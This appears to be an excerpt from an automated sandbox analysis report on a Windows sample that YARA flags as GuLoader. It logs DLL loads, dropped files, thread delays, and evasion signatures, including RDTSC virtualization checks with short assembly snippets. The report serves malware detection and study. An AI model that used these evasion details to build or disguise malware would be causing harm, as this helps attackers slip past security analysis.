Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

File written: C:\Users\user\Slutafregningers175\ammunitionsfabrikkers\Enculturating.ini

Jump to behavior

Source: DNNueAb5UZ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: Process Memory Space: DNNueAb5UZ.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000002.2127281248.0000000007B27000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Code function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_10001A5D

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_10002D20 push eax; ret	0_2_10002D4E
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_3_0670EE63 push eax; iretd	9_3_0670EE65
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_3_067038DF push es; retf 0002h	9_3_067038E0
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_3_0670CF4B push eax; iretd	9_3_0670CF4D
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_3_0670EE8C push eax; iretd	9_3_0670EEA9
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C9C30 push esp; retf 066Eh	9_2_066C9D55
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_066C68F3 push es; ret	9_2_066C6900

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

File created: C:\Users\user\AppData\Local\Temp\nsh96BF.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	API/Special instruction interceptor: Address: 82A5E60
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	API/Special instruction interceptor: Address: 4735E60

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	RDTSC instruction interceptor: First address: 8241AB4 second address: 8241AB4 instructions: 0x00000000 rdtsc 0x00000002 test dx, 7DFFh 0x00000007 cmp ax, bx 0x0000000a cmp ebx, ecx 0x0000000c jc 00007F795CE767EEh 0x0000000e test dl, bl 0x00000010 inc ebp 0x00000011 test ch, ch 0x00000013 inc ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	RDTSC instruction interceptor: First address: 46D1AB4 second address: 46D1AB4 instructions: 0x00000000 rdtsc 0x00000002 test dx, 7DFFh 0x00000007 cmp ax, bx 0x0000000a cmp ebx, ecx 0x0000000c jc 00007F795C4F136Eh 0x0000000e test dl, bl 0x00000010 inc ebp 0x00000011 test ch, ch 0x00000013 inc ebx 0x00000014 rdtsc

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Memory allocated: 6680000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Memory allocated: 36EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Memory allocated: 36C80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599864	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599609	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599480	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599369	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599140	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599030	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598921	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598812	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598703	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598593	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598484	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598374	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598265	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597827	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597718	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597276	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597165	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 597052	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596843	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596712	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596499	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596281	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595296	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594748	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594640	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594421	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 594312	Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Window / User API: threadDelayed 2595			Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Window / User API: threadDelayed 7254			Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsh96BF.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep count: 40 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -36893488147419080s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7976	Thread sleep count: 2595 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599864s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7976	Thread sleep count: 7254 > 30	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599480s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599369s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -599030s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598593s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598484s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598374s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -598046s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597827s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597276s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597165s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -597052s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596712s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596499s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -596062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595515s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595296s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -595078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -594968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -594748s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -594640s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -594421s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe TID: 7972	Thread sleep time: -594312s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_00405FFD FindFirstFileA,FindClose,	0_2_00405FFD
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040559B
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_00405FFD FindFirstFileA,FindClose,	9_2_00405FFD
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_00402688 FindFirstFileA,	9_2_00402688
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Code function: 9_2_0040559B GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	9_2_0040559B

Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599864	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599734	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599609	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599480	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599369	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599250	Jump to behavior
Source: C:\Users\user\Desktop\DNNueAb5UZ.exe	Thread delayed: delay time: 599140	Jump to behavior
